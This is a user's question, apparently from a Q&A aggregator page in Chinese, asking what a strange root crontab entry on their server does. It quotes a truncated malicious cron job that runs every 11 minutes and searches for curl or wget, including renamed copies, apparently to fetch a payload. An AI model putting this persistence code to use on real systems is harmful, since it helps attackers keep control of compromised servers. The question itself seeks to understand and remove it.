小编esc*_*zul的帖子

服务器的crontab中的此条目做什么?

我收到了很多来自cron作业的电子邮件,这些邮件看起来真的很奇怪,所以我去调查了。

我在下面发现了一个奇怪的crontab条目。

首先,我尝试运行:

crontab -u root -l
Run Code Online (Sandbox Code Playgroud)

那显示了大型cron作业,因此我立即删除了该条目。

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f …
Run Code Online (Sandbox Code Playgroud)

cron rootkit server

1
推荐指数
1
解决办法
523
查看次数

标签 统计

cron ×1

rootkit ×1

server ×1